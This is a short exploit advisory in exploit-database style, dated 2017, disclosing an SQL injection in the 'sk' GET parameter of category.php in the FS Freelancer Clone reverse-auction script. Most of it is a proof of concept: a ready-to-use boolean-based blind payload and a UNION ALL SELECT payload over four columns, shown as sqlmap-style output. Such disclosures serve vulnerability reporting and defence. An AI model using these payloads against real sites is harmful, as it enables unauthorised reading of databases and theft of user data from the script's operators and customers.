# Exploit Title: FS Freelancer Clone - SQL Injection # Date: 2017-10-23 # Exploit Author: 8bitsec # Vendor Homepage: https://fortunescripts.com/ # Software Link: https://fortunescripts.com/product/freelancer-clone/ # Version: 23 October 17 # Tested on: [Kali Linux 2.0 | Mac OS 10.12.6] # Email: contact@8bitsec.io # Contact: https://twitter.com/_8bitsec Release Date: ============= 2017-10-23 Product & Service Introduction: =============================== Launching within minutes the best ever reverse auction website available online is no more a distant dream! Technical Details & Description: ================================ SQL injection on [sk] parameter. Proof of Concept (PoC): ======================= SQLi: https://localhost/[path]/category.php?sk=2 AND 5895=5895 Parameter: sk (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sk=2 AND 5895=5895 Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: sk=-9224 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627071,0x6a5954706679724662715071764b6f6b6b5448677770526873556c726b747079556b5341516d7559,0x716a627a71),NULL-- Pddp ================== 8bitsec - [https://twitter.com/_8bitsec]